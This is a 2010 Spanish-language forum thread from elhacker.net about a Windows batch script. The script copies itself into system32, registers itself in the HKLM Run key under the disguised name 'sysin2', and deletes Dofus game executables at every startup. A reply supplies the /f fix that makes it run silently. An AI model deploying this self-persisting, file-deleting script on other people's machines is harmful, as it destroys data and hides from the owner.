Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: _ en 25 Julio 2010, 13:30 PM

Título: Problemas batch registro
Publicado por: _ en 25 Julio 2010, 13:30 PM
Veréis, estoy creando un batch sencillo que elimina un juego cada vez que se ejecuta Windows. Os dejo el código:
Citar
@echo off
copy superjuego.bat C:\WINDOWS\system32
cd C:\WINDOWS\system32
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"
cd C:\Archivos de programa\Dofus
del uplauncher.exe
cd C:\Archivos de programa\Dofus 2\app
del uplauncher.exe
del dofus.exe
pause > nul
El problema es que cuando se ejecuta más de una vez, se vuelve a copiar al registro y se pausa para pedir confirmación para sobrescribirlo. He probado con la variable if not exist pero no he conseguido solucionarlo. ¿Qué es lo que falla?
Gracias de antemano.
Título: Re: Problemas batch registro
Publicado por: maxx93 en 25 Julio 2010, 19:01 PM
Proba cambiandole esta parte del code
Cita de: ivansc94 en 25 Julio 2010, 13:30 PM
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"

por esto...

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat" /f


Si queres alivianar un poco el code borrale esto
Cita de: ivansc94 en 25 Julio 2010, 13:30 PM
cd C:\WINDOWS\system32

Salu2.
Título: Re: Problemas batch registro
Publicado por: _ en 26 Julio 2010, 11:44 AM
Vale, ya me funciona correctamente, la verdad es que era un error muy tonto. Muchas gracias.